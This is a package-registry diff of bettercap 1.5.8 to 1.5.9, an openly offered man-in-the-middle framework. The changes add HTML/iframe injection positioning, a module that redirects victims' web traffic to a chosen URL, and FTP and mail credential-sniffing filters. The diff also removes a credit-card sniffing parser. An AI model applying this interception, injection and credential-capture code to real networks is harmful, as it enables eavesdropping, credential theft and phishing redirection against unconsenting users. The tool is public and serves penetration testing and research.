bettercap 1.5.8 → 1.5.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: fae72c45d628b9638bb5b384c351065d75ad48b4
4
- data.tar.gz: 5c8d16d02481507e50bbe97fe3a84122f8bb8ffb
3
+ metadata.gz: 689778ce78e7e19dfdde9cf0c1d880741e8cb481
4
+ data.tar.gz: ab97d62ec1d8a1272025a8a9e8ff02cb4f3bbfe1
5
5
  SHA512:
6
- metadata.gz: b9f33856ef7ef0194c584a9de47968642608464f6ec32bfa5dc502e4a0b97fc8352550b2d9edcd9953ba4a2dda54a6e8ae70bae6504d6ab837248d15bc9bf7b8
7
- data.tar.gz: d901dc26801e51b558455b665454c59d3a9ce8ba977c0c77b39d4f66a1b5208af0a8956e22528bd6c519c08f8c5b88ff2e28fd27b8175b9baa68836e6fa9d070
6
+ metadata.gz: 0a817c0cccd0fc50cc963acb07841129c790b1e8cbf97b05347ecdfe8bf18dccf716a30c1f465575af2e0ae8592a8592be584b4011fda34ba09788ce6080cd37
7
+ data.tar.gz: 1a4169ecc87ada74613b0a464eb432b12a73de5a636adeea5b1421330928547e28283b75342e110776c48c8fabc271099f5e5044deee5129d8a14e5cf7c0e3ac
data/bin/bettercap CHANGED
@@ -13,6 +13,9 @@
13
13
 
14
14
  =end
15
15
 
16
+ # Ensure bettercap is running with root privileges.
17
+ abort 'This software must run as root.' unless Process.uid.zero?
18
+
16
19
  require 'bettercap'
17
20
 
18
21
  begin
@@ -40,8 +40,8 @@ class Context
40
40
  attr_reader :timeout
41
41
  # Instance of BetterCap::PacketQueue.
42
42
  attr_reader :packets
43
- # Instance of BetterCap::Memory.
44
- attr_reader :memory
43
+ # Precomputed list of possible addresses on the current network.
44
+ attr_reader :endpoints
45
45
 
46
46
  @@instance = nil
47
47
 
@@ -65,7 +65,6 @@ class Context
65
65
  @options = Options.new iface
66
66
  @discovery = Discovery::Thread.new self
67
67
  @firewall = Firewalls::Base.get
68
- @memory = Memory.new
69
68
  @iface = nil
70
69
  @original_mac = nil
71
70
  @gateway = nil
@@ -76,6 +75,7 @@ class Context
76
75
  @proxies = []
77
76
  @redirections = []
78
77
  @packets = nil
78
+ @endpoints = []
79
79
  end
80
80
 
81
81
  # Update the Context state parsing network related informations.
@@ -105,6 +105,8 @@ class Context
105
105
  @gateway = Network::Target.new gw
106
106
  @targets = @options.core.targets unless @options.core.targets.nil?
107
107
  @iface = Network::Target.new( cfg[:ip_saddr], cfg[:eth_saddr], cfg[:ip4_obj], cfg[:iface] )
108
+ raise BetterCap::Error, "Could not determine MAC address of '#{@options.core.iface}', make sure this interface "\
109
+ 'is active and connected.' unless Network::Validator::is_mac?(@iface.mac)
108
110
 
109
111
  Logger.info "[#{@iface.name.green}] #{@iface.to_s(false)}"
110
112
 
@@ -117,6 +119,21 @@ class Context
117
119
  @packets = Network::PacketQueue.new( @iface.name, @options.core.packet_throttle, 4 )
118
120
  # Spoofers need the context network data to be initialized.
119
121
  @spoofer = @options.spoof.parse_spoofers
122
+
123
+ if @options.core.discovery?
124
+ tstart = Time.now
125
+ Logger.info "[#{'DISCOVERY'.green}] Precomputing list of possible endpoints, this could take a while depending on your subnet ..."
126
+ net = ip = @iface.network
127
+ # loop each ip in our subnet and push it to the queue
128
+ while net.include?ip
129
+ if ip != @gateway.ip and ip != @iface.ip
130
+ @endpoints << ip
131
+ end
132
+ ip = ip.succ
133
+ end
134
+ tend = Time.now
135
+ Logger.info "[#{'DISCOVERY'.green}] Done in #{(tend - tstart) * 1000.0} ms"
136
+ end
120
137
  end
121
138
 
122
139
  # Find a target given its +ip+ and +mac+ addresses inside the #targets
@@ -24,13 +24,8 @@ class Base
24
24
  @address = address
25
25
 
26
26
  if @address.nil?
27
- net = ip = @ctx.iface.network
28
- # loop each ip in our subnet and push it to the queue
29
- while net.include?ip
30
- unless skip_address?(ip)
31
- @ctx.packets.push( get_probe(ip) )
32
- end
33
- ip = ip.succ
27
+ @ctx.endpoints.each do |ip|
28
+ @ctx.packets.push( get_probe(ip) )
34
29
  end
35
30
  else
36
31
  if skip_address?(@address)
@@ -46,21 +41,11 @@ class Base
46
41
 
47
42
  # Return true if +ip+ must be skipped during discovery, otherwise false.
48
43
  def skip_address?(ip)
49
- # don't send probes to the gateway if we already have its MAC.
50
- if ip == @ctx.gateway.ip
51
- return !@ctx.gateway.mac.nil?
52
- # don't send probes to our device
53
- elsif ip == @ctx.iface.ip
54
- return true
55
- # don't stress endpoints we already discovered
56
- else
57
- target = @ctx.find_target( ip.to_s, nil )
58
- # known target?
59
- return false if target.nil?
60
- # do we still need to get the mac for this target?
61
- return ( target.mac.nil?? false : true )
62
- end
63
-
44
+ target = @ctx.find_target( ip.to_s, nil )
45
+ # known target?
46
+ return false if target.nil?
47
+ # do we still need to get the mac for this target?
48
+ return ( target.mac.nil?? false : true )
64
49
  end
65
50
 
66
51
  # Each Discovery::Agent::Base derived class should implement this method.
@@ -119,7 +119,6 @@ class Thread
119
119
 
120
120
  prev = @ctx.targets
121
121
 
122
- @ctx.memory.optimize!
123
122
  sleep(1) if @ctx.options.core.discovery?
124
123
  end
125
124
  end
@@ -70,7 +70,7 @@ module Logger
70
70
 
71
71
  # Log a +message+ as it is.
72
72
  def raw(message)
73
- @@queue.push( formatted_message( message, nil ) )
73
+ @@queue.push( formatted_message( message, nil ) ) unless @@silent
74
74
  end
75
75
 
76
76
  # Wait for the messages queue to be empty.
@@ -44,7 +44,6 @@ class PacketQueue
44
44
  # Push a packet to the queue.
45
45
  def push(packet)
46
46
  @queue.push(packet)
47
- @ctx.memory.optimize! if ( @queue.size == 1 )
48
47
  end
49
48
 
50
49
  # Wait for the packet queue to be empty.
@@ -157,7 +157,7 @@ class Options
157
157
  'https-proxy' => ( @proxies.proxy_https ? on : off ),
158
158
  'sslstrip' => ( @proxies.sslstrip? ? on : off ),
159
159
  'http-server' => ( @servers.httpd ? on : off ),
160
- 'dns-server' => ( @proxies.sslstrip? or @servers.dnsd ? on : off )
160
+ 'dns-server' => ( (@proxies.sslstrip? or @servers.dnsd) ? on : off )
161
161
  }
162
162
 
163
163
  msg = "Starting [ "
@@ -167,9 +167,6 @@ class Options
167
167
  msg += "] ...\n\n"
168
168
 
169
169
  Logger.info msg
170
-
171
- Logger.warn "You are running an unstable/beta version of this software, please" \
172
- " update to a stable one if available." if BetterCap::VERSION =~ /[\d\.+]b/
173
170
  end
174
171
  end
175
172
  end
@@ -38,6 +38,8 @@ class ProxyOptions
38
38
  attr_accessor :allow_local_connections
39
39
  # If true, log HTTP responses too.
40
40
  attr_accessor :log_response
41
+ # If true, suppress HTTP requests logs.
42
+ attr_accessor :no_http_logs
41
43
  # If true, TCP proxy will be enabled.
42
44
  attr_accessor :tcp_proxy
43
45
  # TCP proxy local port.
@@ -72,6 +74,7 @@ class ProxyOptions
72
74
  @sslstrip = true
73
75
  @allow_local_connections = false
74
76
  @log_response = false
77
+ @no_http_logs = false
75
78
 
76
79
  @tcp_proxy = false
77
80
  @tcp_proxy_port = 2222
@@ -103,7 +106,7 @@ class ProxyOptions
103
106
 
104
107
  opts.on( '--tcp-proxy-module MODULE', "Ruby TCP proxy module to load." ) do |v|
105
108
  @tcp_proxy_module = File.expand_path(v)
106
- Proxy::TCP::Module.load( @tcp_proxy_module )
109
+ Proxy::TCP::Module.load( @tcp_proxy_module, opts )
107
110
  end
108
111
 
109
112
  opts.on( '--tcp-proxy-port PORT', "Set local TCP proxy port, default to #{@tcp_proxy_port.to_s.yellow} ." ) do |v|
@@ -167,6 +170,10 @@ class ProxyOptions
167
170
  @log_response = true
168
171
  end
169
172
 
173
+ opts.on( '--no-http-logs', 'Suppress HTTP requests and responses logs.' ) do
174
+ @no_http_logs = true
175
+ end
176
+
170
177
  opts.on( '--proxy-module MODULE', "Ruby proxy module to load, either a custom file or one of the following: #{Proxy::HTTP::Module.available.map{|x| x.yellow}.join(', ')}." ) do |v|
171
178
  Proxy::HTTP::Module.load(ctx, opts, v)
172
179
  @proxy = true
@@ -74,6 +74,11 @@ class SniffOptions
74
74
  @parsers = Parsers::Base.from_cmdline(v)
75
75
  end
76
76
 
77
+ opts.on( '--disable-parsers PARSERS', "Comma separated list of packet parsers to disable ( NOTE: Will set -X to true )" ) do |v|
78
+ @enabled = true
79
+ @parsers = Parsers::Base.from_exclusion_list(v)
80
+ end
81
+
77
82
  opts.on( '--custom-parser EXPRESSION', 'Use a custom regular expression in order to capture and show sniffed data ( NOTE: Will set -X to true ).' ) do |v|
78
83
  @enabled = true
79
84
  @parsers = ['CUSTOM']
@@ -25,6 +25,8 @@ class InjectHTML < BetterCap::Proxy::HTTP::Module
25
25
  @@iframe = nil
26
26
  # HTML data to be injected.
27
27
  @@data = nil
28
+ # Position of the injection, 0 = just after <body>, 1 = before </body>
29
+ @@position = 0
28
30
 
29
31
  # Add custom command line arguments to the +opts+ OptionParser instance.
30
32
  def self.on_options(opts)
@@ -45,6 +47,16 @@ class InjectHTML < BetterCap::Proxy::HTTP::Module
45
47
  opts.on( '--html-iframe-url URL', 'URL of the iframe that will be injected, if this option is specified an "iframe" tag will be injected.' ) do |v|
46
48
  @@iframe = v
47
49
  end
50
+
51
+ opts.on( '--html-position POSITION', 'Position of the injection, valid values are START for injecting after the <body> tag and END to inject just before </body>.' ) do |v|
52
+ if v == 'START'
53
+ @@position = 0
54
+ elsif v == 'END'
55
+ @@position = 1
56
+ else
57
+ raise BetterCap::Error, "#{v} invalid position, only START or END values are accepted."
58
+ end
59
+ end
48
60
  end
49
61
 
50
62
  # Create an instance of this module and raise a BetterCap::Error if command
@@ -61,12 +73,16 @@ class InjectHTML < BetterCap::Proxy::HTTP::Module
61
73
  BetterCap::Logger.info "[#{'INJECTHTML'.green}] Injecting HTML code into #{request.to_url}"
62
74
 
63
75
  if @@data.nil?
64
- replacement = "<iframe src=\"#{@@iframe}\" frameborder=\"0\" height=\"0\" width=\"0\"></iframe></body>"
76
+ replacement = "<iframe src=\"#{@@iframe}\" frameborder=\"0\" height=\"0\" width=\"0\"></iframe>"
65
77
  else
66
- replacement = "#{@@data}</body>"
78
+ replacement = "#{@@data}"
67
79
  end
68
80
 
69
- response.body.sub!( /<\/body>/i ) { replacement }
81
+ if @@position == 0
82
+ response.body.sub!( /<body([^>]*)>/i ) { "<body#{$1}>#{replacement}" }
83
+ else
84
+ response.body.sub!( /<\/body>/i ) { "#{replacement}</body>" }
85
+ end
70
86
  end
71
87
  end
72
88
  end
@@ -0,0 +1,59 @@
1
+ # encoding: UTF-8
2
+ =begin
3
+
4
+ BETTERCAP
5
+
6
+ Author : Simone 'evilsocket' Margaritelli
7
+ Email : evilsocket@gmail.com
8
+ Blog : http://www.evilsocket.net/
9
+
10
+ This project is released under the GPL 3 license.
11
+
12
+ =end
13
+
14
+ # This proxy module will redirect to a custom URL.
15
+ class Redirect < BetterCap::Proxy::HTTP::Module
16
+ meta(
17
+ 'Name' => 'Redirect',
18
+ 'Description' => 'This proxy module will redirect the target(s) to a custom URL.',
19
+ 'Version' => '1.0.0',
20
+ 'Author' => "Simone 'evilsocket' Margaritelli",
21
+ 'License' => 'GPL3'
22
+ )
23
+
24
+ # URL to redirect the target(s) to.
25
+ @@url = nil
26
+ # Optional regex filter for redirections.
27
+ @@filter = nil
28
+
29
+ # Add custom command line arguments to the +opts+ OptionParser instance.
30
+ def self.on_options(opts)
31
+ opts.separator ""
32
+ opts.separator "Redirect Proxy Module Options:"
33
+ opts.separator ""
34
+
35
+ opts.on( '--redirect-url URL', 'URL to redirect the target(s) to.' ) do |v|
36
+ @@url = v
37
+ end
38
+
39
+ opts.on( '--redirect-filter EXPRESSION', 'Optional regex filter for redirections.' ) do |v|
40
+ @@filter = Regexp.new(v)
41
+ end
42
+ end
43
+
44
+ # Create an instance of this module and raise a BetterCap::Error if command
45
+ # line arguments weren't correctly specified.
46
+ def initialize
47
+ raise BetterCap::Error, "No --redirect-url option specified for the proxy module." if @@url.nil?
48
+ raise BetterCap::Error, "Invalid URL specified." unless @@url =~ /\A#{URI::regexp}\z/
49
+ end
50
+
51
+ def on_request( request, response )
52
+ if response.content_type =~ /^text\/html.*/ and !@@url.include?(request.host)
53
+ if @@filter.nil? or @@filter.match(request.to_url)
54
+ BetterCap::Logger.info "[#{'REDIRECT'.green}] Redirecting #{request.to_url} to #{@@url} ..."
55
+ response.redirect!(@@url)
56
+ end
57
+ end
58
+ end
59
+ end
@@ -110,22 +110,22 @@ class Request
110
110
  name = $1
111
111
  value = $2
112
112
 
113
- case name
114
- when 'Host'
113
+ case name.downcase
114
+ when 'host'
115
115
  @host = value
116
116
  if @host =~ /([^:]*):([0-9]*)$/
117
117
  @host = $1
118
118
  @port = $2.to_i
119
119
  end
120
- when 'Content-Length'
120
+ when 'content-length'
121
121
  @content_length = value.to_i
122
- # we don't want to have hundreds of threads running
123
- when 'Connection'
122
+ # we don't want to have hundreds of threads running
123
+ when 'connection'
124
124
  value = 'close'
125
- when 'Proxy-Connection'
125
+ when 'proxy-connection'
126
126
  name = 'Connection'
127
- # disable gzip, chunked, etc encodings
128
- when 'Accept-Encoding'
127
+ # disable gzip, chunked, etc encodings
128
+ when 'accept-encoding'
129
129
  value = 'identity'
130
130
  end
131
131
 
@@ -102,6 +102,15 @@ class Response
102
102
  @body = response.body || ''
103
103
  end
104
104
 
105
+ # Convert this response object to a 302 redirect to +url+.
106
+ def redirect!(url)
107
+ @code = '302'
108
+ @status = 'Moved'
109
+ @body = nil
110
+ @headers['Location'] = url
111
+ @headers['Connection'] = 'close'
112
+ end
113
+
105
114
  # Parse a single response +line+.
106
115
  def <<(line)
107
116
  # we already parsed the heders, collect response body
@@ -52,12 +52,16 @@ class StrippedObject
52
52
 
53
53
  # Return a normalized version of +url+.
54
54
  def self.normalize( url, schema = 'https' )
55
+ has_schema = url.include?('://')
55
56
  # add schema if needed
56
- unless url.include?('://')
57
+ if has_schema
58
+ has_slash = ( url =~ /^.+:\/\/.+\/.*$/ )
59
+ else
60
+ has_slash = ( url =~ /^.+\/.*$/ )
57
61
  url = "#{schema}://#{url}"
58
62
  end
59
- # add path if needed
60
- unless url.end_with?('/')
63
+ # add slash if needed
64
+ unless has_slash
61
65
  url = "#{url}/"
62
66
  end
63
67
  url
@@ -67,7 +67,7 @@ class Streamer
67
67
  response = r
68
68
  end
69
69
 
70
- if response.textual? or request.method == 'DELETE'
70
+ if @ctx.options.proxies.no_http_logs == false and ( response.textual? or request.method == 'DELETE' )
71
71
  StreamLogger.log_http( request, response )
72
72
  else
73
73
  Logger.debug "[#{request.client}] -> #{request.to_url} [#{response.code}]"
@@ -27,6 +27,8 @@ module TCP
27
27
  # end
28
28
  # end
29
29
  class Module < BetterCap::Pluggable
30
+ def on_options( opts ); end
31
+ def check_opts; end
30
32
  # This callback is called when the target is sending data to the upstream server.
31
33
  # +event+ is an instance of the BetterCap::Proxy::TCP::Event class.
32
34
  def on_data( event ); end
@@ -41,6 +43,15 @@ class Module < BetterCap::Pluggable
41
43
  @@loaded = {}
42
44
 
43
45
  class << self
46
+ # Register custom options for each available module.
47
+ def register_options(opts)
48
+ @@loaded.each do |name,mod|
49
+ if mod.respond_to?(:on_options)
50
+ mod.on_options(opts)
51
+ end
52
+ end
53
+ end
54
+
44
55
  # Called when a class inherits this base class.
45
56
  def inherited(subclass)
46
57
  name = subclass.name.upcase
@@ -48,7 +59,7 @@ class Module < BetterCap::Pluggable
48
59
  end
49
60
 
50
61
  # Load +file+ as a proxy module.
51
- def load( file )
62
+ def load( file, opts )
52
63
  begin
53
64
  require file
54
65
  rescue LoadError => e
@@ -58,6 +69,8 @@ class Module < BetterCap::Pluggable
58
69
  @@loaded.each do |name,mod|
59
70
  @@loaded[name] = mod.new
60
71
  end
72
+
73
+ self.register_options(opts)
61
74
  end
62
75
 
63
76
  # Execute method +even_name+ for each loaded module instance using +event+
@@ -18,6 +18,7 @@ module Shell
18
18
  # Execute +command+ and return its output.
19
19
  # Raise +BetterCap::Error+ if the return code is not 0.
20
20
  def execute(command)
21
+ Logger.debug command
21
22
  r = ''
22
23
  10.times do
23
24
  begin
@@ -44,6 +44,21 @@ class Base
44
44
  list
45
45
  end
46
46
 
47
+ # Parse the +v+ command line argument and return a list of parser names
48
+ # disabling the ones specified.
49
+ # Will raise BetterCap::Error if one or more parser names are not valid.
50
+ def from_exclusion_list(v)
51
+ raise BetterCap::Error, "No parser names provided" if v.nil?
52
+
53
+ avail = available
54
+ list = v.split(',').collect(&:strip).collect(&:upcase).reject{ |c| c.empty? }
55
+ list.each do |parser|
56
+ raise BetterCap::Error, "Invalid parser name '#{parser}'." unless avail.include?(parser)
57
+ end
58
+
59
+ avail - list
60
+ end
61
+
47
62
  # Return a list of BetterCap::Parsers instances by their +parsers+ names.
48
63
  def load_by_names(parsers)
49
64
  loaded = []
@@ -70,15 +85,30 @@ class Base
70
85
  def initialize
71
86
  @filters = []
72
87
  @name = 'BASE'
88
+ @port = nil
89
+ end
90
+
91
+ def match_port?( pkt )
92
+ return true unless !@port.nil?
93
+ begin
94
+ if pkt.respond_to?(:tcp_dst) and pkt.tcp_dst == @port
95
+ return true
96
+ elsif pkt.respond_to?(:udp_dst) and pkt.udp_dst == @port
97
+ return true
98
+ end
99
+ rescue; end
100
+ false
73
101
  end
74
102
 
75
103
  # This method will be called from the BetterCap::Sniffer for each
76
104
  # incoming packet ( +pkt ) and will apply the parser filter to it.
77
105
  def on_packet( pkt )
78
106
  s = pkt.to_s
79
- @filters.each do |filter|
80
- if s =~ filter
81
- StreamLogger.log_raw( pkt, @name, pkt.payload )
107
+ if match_port?(pkt)
108
+ @filters.each do |filter|
109
+ if s =~ filter
110
+ StreamLogger.log_raw( pkt, @name, pkt.payload )
111
+ end
82
112
  end
83
113
  end
84
114
  end
@@ -18,6 +18,7 @@ class Ftp < Base
18
18
  def initialize
19
19
  @filters = [ /(USER|PASS)\s+.+/ ]
20
20
  @name = 'FTP'
21
+ @port = 21
21
22
  end
22
23
  end
23
24
  end
@@ -16,8 +16,9 @@ module Parsers
16
16
  # POP/IMAP authentication parser.
17
17
  class Mail < Base
18
18
  def initialize
19
- @filters = [ /(\d+ )?(auth|authenticate) ([a-z\-_0-9]+)/i ]
19
+ @filters = [ /(USER|PASS)\s+.+/ ]
20
20
  @name = 'MAIL'
21
+ @port = 110
21
22
  end
22
23
  end
23
24
  end
@@ -128,10 +128,13 @@ class Arp < Base
128
128
  # Return true if the +pkt+ packet is an ARP 'who-has' query coming
129
129
  # from some network endpoint.
130
130
  def is_arp_query?(pkt)
131
- # we're only interested in 'who-has' packets
132
- pkt.arp_opcode == 1 and \
133
- pkt.arp_dst_mac.to_s == '00:00:00:00:00:00' and \
134
- pkt.arp_src_ip.to_s != @ctx.iface.ip
131
+ begin
132
+ # we're only interested in 'who-has' packets
133
+ return ( pkt.arp_opcode == 1 and \
134
+ pkt.arp_dst_mac.to_s == '00:00:00:00:00:00' and \
135
+ pkt.arp_src_ip.to_s != @ctx.iface.ip )
136
+ rescue; end
137
+ false
135
138
  end
136
139
 
137
140
  # Will watch for incoming ARP requests and spoof the source address.
@@ -12,7 +12,7 @@ This project is released under the GPL 3 license.
12
12
  =end
13
13
  module BetterCap
14
14
  # Current version of bettercap.
15
- VERSION = '1.5.8'
15
+ VERSION = '1.5.9'
16
16
  # Program banner.
17
17
  BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
18
18
  end
data/lib/bettercap.rb CHANGED
@@ -17,52 +17,41 @@
17
17
  Encoding.default_external = Encoding::UTF_8
18
18
  Encoding.default_internal = Encoding::UTF_8
19
19
 
20
- require 'base64'
20
+ require 'packetfu'
21
+ require 'em-proxy'
22
+ require 'webrick'
23
+ require 'rubydns'
21
24
  require 'colorize'
22
- require 'digest'
23
- require 'ipaddr'
24
25
  require 'json'
25
26
  require 'net/dns'
26
27
  require 'net/http'
27
- require 'openssl'
28
28
  require 'optparse'
29
- require 'packetfu'
30
- require 'pcaprub'
31
- require 'resolv'
32
- require 'rubydns'
33
- require 'socket'
34
- require 'stringio'
35
- require 'thread'
36
- require 'uri'
37
- require 'webrick'
38
- require 'zlib'
39
- require 'em-proxy'
40
29
 
41
30
  Object.send :remove_const, :Config rescue nil
42
31
  Config = RbConfig
43
32
 
44
- def bettercap_autoload( path = '' )
33
+ def bettercap_autoload(path = '')
45
34
  dir = File.dirname(__FILE__) + "/bettercap/#{path}"
46
35
  deps = []
47
36
  files = []
48
37
  monkey = []
49
38
 
50
- Dir[dir+"**/*.rb"].each do |filename|
51
- filename = filename.gsub( dir, '' ).gsub('.rb', '')
39
+ Dir[dir + '**/*.rb'].each do |filename|
40
+ filename = filename.gsub(dir, '').gsub('.rb', '')
52
41
  filename = "bettercap/#{path}#{filename}"
42
+
43
+ next if filename.include?('proxy/http/modules')
53
44
  # Proxy modules must be loaded at runtime.
54
- unless filename =~ /.+\/inject[a-z]+$/i
55
- if filename.end_with?('/base') or filename.include?('pluggable')
56
- deps << filename
57
- elsif filename.include?('monkey')
58
- monkey << filename
59
- else
60
- files << filename
61
- end
45
+ if filename.end_with?('/base') || filename.include?('pluggable')
46
+ deps << filename
47
+ elsif filename.include?('monkey')
48
+ monkey << filename
49
+ else
50
+ files << filename
62
51
  end
63
52
  end
64
53
 
65
- ( deps + files + monkey ).each do |file|
54
+ (deps + files + monkey).each do |file|
66
55
  require file
67
56
  end
68
57
  end
metadata CHANGED
@@ -1,147 +1,147 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: bettercap
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.5.8
4
+ version: 1.5.9
5
5
  platform: ruby
6
6
  authors:
7
7
  - Simone Margaritelli
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2016-08-26 00:00:00.000000000 Z
11
+ date: 2016-12-14 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: colorize
15
15
  requirement: !ruby/object:Gem::Requirement
16
16
  requirements:
17
- - - ~>
17
+ - - "~>"
18
18
  - !ruby/object:Gem::Version
19
19
  version: 0.8.0
20
20
  type: :runtime
21
21
  prerelease: false
22
22
  version_requirements: !ruby/object:Gem::Requirement
23
23
  requirements:
24
- - - ~>
24
+ - - "~>"
25
25
  - !ruby/object:Gem::Version
26
26
  version: 0.8.0
27
27
  - !ruby/object:Gem::Dependency
28
28
  name: packetfu
29
29
  requirement: !ruby/object:Gem::Requirement
30
30
  requirements:
31
- - - ~>
31
+ - - "~>"
32
32
  - !ruby/object:Gem::Version
33
33
  version: '1.1'
34
- - - '>='
34
+ - - ">="
35
35
  - !ruby/object:Gem::Version
36
36
  version: 1.1.10
37
37
  type: :runtime
38
38
  prerelease: false
39
39
  version_requirements: !ruby/object:Gem::Requirement
40
40
  requirements:
41
- - - ~>
41
+ - - "~>"
42
42
  - !ruby/object:Gem::Version
43
43
  version: '1.1'
44
- - - '>='
44
+ - - ">="
45
45
  - !ruby/object:Gem::Version
46
46
  version: 1.1.10
47
47
  - !ruby/object:Gem::Dependency
48
48
  name: pcaprub
49
49
  requirement: !ruby/object:Gem::Requirement
50
50
  requirements:
51
- - - ~>
51
+ - - "~>"
52
52
  - !ruby/object:Gem::Version
53
53
  version: '0.12'
54
- - - '>='
54
+ - - ">="
55
55
  - !ruby/object:Gem::Version
56
56
  version: 0.12.0
57
57
  type: :runtime
58
58
  prerelease: false
59
59
  version_requirements: !ruby/object:Gem::Requirement
60
60
  requirements:
61
- - - ~>
61
+ - - "~>"
62
62
  - !ruby/object:Gem::Version
63
63
  version: '0.12'
64
- - - '>='
64
+ - - ">="
65
65
  - !ruby/object:Gem::Version
66
66
  version: 0.12.0
67
67
  - !ruby/object:Gem::Dependency
68
68
  name: network_interface
69
69
  requirement: !ruby/object:Gem::Requirement
70
70
  requirements:
71
- - - ~>
71
+ - - "~>"
72
72
  - !ruby/object:Gem::Version
73
73
  version: '0.0'
74
- - - '>='
74
+ - - ">="
75
75
  - !ruby/object:Gem::Version
76
76
  version: 0.0.1
77
77
  type: :runtime
78
78
  prerelease: false
79
79
  version_requirements: !ruby/object:Gem::Requirement
80
80
  requirements:
81
- - - ~>
81
+ - - "~>"
82
82
  - !ruby/object:Gem::Version
83
83
  version: '0.0'
84
- - - '>='
84
+ - - ">="
85
85
  - !ruby/object:Gem::Version
86
86
  version: 0.0.1
87
87
  - !ruby/object:Gem::Dependency
88
88
  name: net-dns
89
89
  requirement: !ruby/object:Gem::Requirement
90
90
  requirements:
91
- - - ~>
91
+ - - "~>"
92
92
  - !ruby/object:Gem::Version
93
93
  version: '0.8'
94
- - - '>='
94
+ - - ">="
95
95
  - !ruby/object:Gem::Version
96
96
  version: 0.8.0
97
97
  type: :runtime
98
98
  prerelease: false
99
99
  version_requirements: !ruby/object:Gem::Requirement
100
100
  requirements:
101
- - - ~>
101
+ - - "~>"
102
102
  - !ruby/object:Gem::Version
103
103
  version: '0.8'
104
- - - '>='
104
+ - - ">="
105
105
  - !ruby/object:Gem::Version
106
106
  version: 0.8.0
107
107
  - !ruby/object:Gem::Dependency
108
108
  name: rubydns
109
109
  requirement: !ruby/object:Gem::Requirement
110
110
  requirements:
111
- - - ~>
111
+ - - "~>"
112
112
  - !ruby/object:Gem::Version
113
113
  version: '1.0'
114
- - - '>='
114
+ - - ">="
115
115
  - !ruby/object:Gem::Version
116
116
  version: 1.0.3
117
117
  type: :runtime
118
118
  prerelease: false
119
119
  version_requirements: !ruby/object:Gem::Requirement
120
120
  requirements:
121
- - - ~>
121
+ - - "~>"
122
122
  - !ruby/object:Gem::Version
123
123
  version: '1.0'
124
- - - '>='
124
+ - - ">="
125
125
  - !ruby/object:Gem::Version
126
126
  version: 1.0.3
127
127
  - !ruby/object:Gem::Dependency
128
128
  name: em-proxy
129
129
  requirement: !ruby/object:Gem::Requirement
130
130
  requirements:
131
- - - ~>
131
+ - - "~>"
132
132
  - !ruby/object:Gem::Version
133
133
  version: '0.1'
134
- - - '>='
134
+ - - ">="
135
135
  - !ruby/object:Gem::Version
136
136
  version: 0.1.8
137
137
  type: :runtime
138
138
  prerelease: false
139
139
  version_requirements: !ruby/object:Gem::Requirement
140
140
  requirements:
141
- - - ~>
141
+ - - "~>"
142
142
  - !ruby/object:Gem::Version
143
143
  version: '0.1'
144
- - - '>='
144
+ - - ">="
145
145
  - !ruby/object:Gem::Version
146
146
  version: 0.1.8
147
147
  description: BetterCap is the state of the art, modular, portable and easily extensible
@@ -155,6 +155,8 @@ extra_rdoc_files: []
155
155
  files:
156
156
  - LICENSE.md
157
157
  - README.md
158
+ - bin/bettercap
159
+ - lib/bettercap.rb
158
160
  - lib/bettercap/banner
159
161
  - lib/bettercap/context.rb
160
162
  - lib/bettercap/discovery/agents/arp.rb
@@ -203,6 +205,7 @@ files:
203
205
  - lib/bettercap/proxy/http/modules/injectcss.rb
204
206
  - lib/bettercap/proxy/http/modules/injecthtml.rb
205
207
  - lib/bettercap/proxy/http/modules/injectjs.rb
208
+ - lib/bettercap/proxy/http/modules/redirect.rb
206
209
  - lib/bettercap/proxy/http/proxy.rb
207
210
  - lib/bettercap/proxy/http/request.rb
208
211
  - lib/bettercap/proxy/http/response.rb
@@ -220,7 +223,6 @@ files:
220
223
  - lib/bettercap/shell.rb
221
224
  - lib/bettercap/sniffer/parsers/base.rb
222
225
  - lib/bettercap/sniffer/parsers/cookie.rb
223
- - lib/bettercap/sniffer/parsers/creditcard.rb
224
226
  - lib/bettercap/sniffer/parsers/custom.rb
225
227
  - lib/bettercap/sniffer/parsers/dhcp.rb
226
228
  - lib/bettercap/sniffer/parsers/dict.rb
@@ -249,30 +251,28 @@ files:
249
251
  - lib/bettercap/spoofers/none.rb
250
252
  - lib/bettercap/update_checker.rb
251
253
  - lib/bettercap/version.rb
252
- - lib/bettercap.rb
253
- - bin/bettercap
254
254
  homepage: http://github.com/evilsocket/bettercap
255
255
  licenses:
256
256
  - GPL-3.0
257
257
  metadata: {}
258
258
  post_install_message:
259
259
  rdoc_options:
260
- - --charset=UTF-8
260
+ - "--charset=UTF-8"
261
261
  require_paths:
262
262
  - lib
263
263
  required_ruby_version: !ruby/object:Gem::Requirement
264
264
  requirements:
265
- - - '>='
265
+ - - ">="
266
266
  - !ruby/object:Gem::Version
267
267
  version: '1.9'
268
268
  required_rubygems_version: !ruby/object:Gem::Requirement
269
269
  requirements:
270
- - - '>='
270
+ - - ">="
271
271
  - !ruby/object:Gem::Version
272
272
  version: '0'
273
273
  requirements: []
274
274
  rubyforge_project:
275
- rubygems_version: 2.0.14.1
275
+ rubygems_version: 2.5.1
276
276
  signing_key:
277
277
  specification_version: 4
278
278
  summary: A complete, modular, portable and easily extensible MITM framework.
@@ -1,62 +0,0 @@
1
- =begin
2
-
3
- BETTERCAP
4
-
5
- Author : Simone 'evilsocket' Margaritelli
6
- Email : evilsocket@gmail.com
7
- Blog : http://www.evilsocket.net/
8
-
9
- This project is released under the GPL 3 license.
10
-
11
- =end
12
-
13
- module BetterCap
14
- module Parsers
15
- # CC parser.
16
- class CreditCard < Base
17
- PARSERS = [
18
- # All major cards.
19
- /(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6011[0-9]{12}|3(?:0[0-5]|[68][0-9])[0-9]{11}|3[47][0-9]{13})/m,
20
- # American Express
21
- /(3[47][0-9]{13})/m,
22
- # Diners Club
23
- /(3(?:0[0-5]|[68][0-9])[0-9]{11})/m,
24
- # Discover
25
- /(6011[0-9]{12})/m,
